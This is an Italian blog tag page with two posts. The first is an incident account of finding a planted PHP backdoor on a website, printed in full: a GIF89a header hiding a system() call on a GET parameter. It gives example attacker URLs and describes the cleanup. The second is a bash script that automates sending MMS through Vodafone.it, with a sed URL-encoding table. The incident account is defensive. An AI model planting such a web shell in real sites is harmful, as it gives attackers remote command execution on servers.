Archivi tag: url encoding

Ancora un sito violato

Recentemente ho dovuto fare un po’ di manutenzione ad uno dei siti che gestisco. Per la precisione, era necessario aggiornare i meta tag delle pagine HTML, in modo da ottenere un ranking più elevato nei motori di ricerca (SEO).

backdoor.jpg

Dopo essere atterrato sullo spazio FTP riservato al suddetto sito, ho notato la presenza di una pagina recante un nome a dir poco sospetto:

xxx.php

il cui contenuto era semplice ma abbastanza esplicativo:

GIF89a
<?php system("$_GET[cmd]"); exit; ?>

In pratica la funzione system di php consente di richiamare dei comandi di sistema semplicemente mediante POST o, ancora più banalmente, mediante GET.

Per intenderci, utilizzando una URL forgiata nel seguente modo:

http://www.sito.com?ls

sarebbe stato possibile per l’attaccante listare il contenuto delle directory, oppure, mediante:

http://www.sito.com?ping%20indirizzoip

avrebbe potuto lanciare un ping verso una macchina specifica (il %20 è semplicemente lo spazio in URL encoding).

Ovviamente, i comandi a disposizione dell’attaccante sono tutti quelli usufruibili mediante la funzione system (e non soltato quelli da me riportati a titolo di esempio). Dunque la pagina in oggetto può essere intesa come una sorta di backdoor.

Fortunatamente, l’hosting provider ha pensato bene di disabilitare la suddetta funzione a livello di php.ini, editando il paramentro disable_functions:

Warning: system() has been disabled for security reasons in /web/htdocs/www.sito.com/home/xxx.php on line 2

Infine, ho brasato la pagina xxx.php ed ho modificato le credenziali di accesso allo spazio FTP.

E’ tutto.

PS: ogni tanto fare un ls della root dir del sito non sarebbe male, tanto per stare tranquilli.

autovodafone versione 0.2: URL-encoding completo e meccanismi di controllo

Come avevo già preannunciato in questo post, ecco la versione 0.2 dello scrip bash per l’invio di MMS gratis mediante Vodafone.it:

mms2.jpg

#!/bin/bash

#File di log
FILELOG=/var/log/autovodafone

ROOT_UID=0

#Controllo che lo scrip venga eseguito da root
if [ "$UID" -ne "$ROOT_UID" ];then

        ERRORE1="Errore 1: Devi essere root per eseguire lo scrip"
        echo $ERRORE1
        echo "$(date) $ERRORE1" >> $FILELOG
        exit 1

fi

data=$(date)

echo "Inserisci il destinatario:"

read destinatario

echo "Inserisci l'oggetto del messaggio:"

read oggetto

echo "Inserisci il testo del messaggio:"

read testo

echo "$testo" > text

cat text | sed -f urlencoding.sed > encoded

enc=$(cat encoded)

curl -c cookiev.txt -F "username=vostrousername" -F "password=vostrapassword" https://www.vodafone.it/190/trilogy/jsp/login.do 2&>1
curl -b cookiev.txt --data "recipient=$destinatario&subjecttosend=$oggetto&SmilName=&TextName=$enc&ImageName=&AudioName=&nextPage=/web/servletresult.html" http://mmsviaweb.net.vodafoneomnitel.it/WebComposer/web/elaborapop.jsp | grep -o -E '"s*(.*)>(.*)"' > out

sed -n '2p' out > out1

sed -e s/"//g out1 > out2

sed -e "s/ /+/g" out2 > out3

url="http://mmsviaweb.net.vodafoneomnitel.it"

url1=$(cat out3)

url2=$(echo "$url$url1")

curl -b cookiev.txt $url2 > result

if grep -q "SendMessage=1" result;then

echo "$data: messaggio inviato" >> $FILELOG

else

echo "$data: il messaggio non e' stato inviato" >> $FILELOG

fi

rm out

rm cookiev.txt

rm text

rm encoded

rm result

exit 0

Nella fattispecie, ho creato il file urlencoding.sed per la codifica del testo relativo all'MMS, il cui contenuto è il seguente:

s/%/%25/g
s/ /%20/g
s/ /%09/g
s/!/%21/g
s/"/%22/g
s/#/%23/g
s/$/%24/g
s/&/%26/g
s/'''/%27/g
s/(/%28/g
s/)/%29/g
s/*/%2a/g
s/+/%2b/g
s/,/%2c/g
s/-/%2d/g
s/./%2e/g
s///%2f/g
s/:/%3a/g
s/;/%3b/g
s//%3e/g
s/?/%3f/g
s/@/%40/g
s/[/%5b/g
s//%5c/g
s/]/%5d/g
s/^/%5e/g
s/_/%5f/g
s/`/%60/g
s/{/%7b/g
s/|/%7c/g
s/}/%7d/g
s/~/%7e/g
s/      /%09/g

Ho voluto avvalermi di sed per omogeneità, ciò non significa che tale operazione non sia fattibile attraverso linguaggi di scripting esterni (ad esempio perl).

Inoltre, mediante le seguenti righe di codice:

if grep -q "SendMessage=1" result;then

echo "$data: messaggio inviato" >> $FILELOG

else

echo "$data: il messaggio non e' stato inviato" >> $FILELOG

fi

ho previsto dei controlli (molto basilari) relativi all’esito dell’operazione di inoltro degli MMS, il cui risultato verrà salvato sul file di log (con data e ora).

Qualunque suggerimento per estendere e/o migliorare lo scrip rimane comunque il benvenuto.

A presto.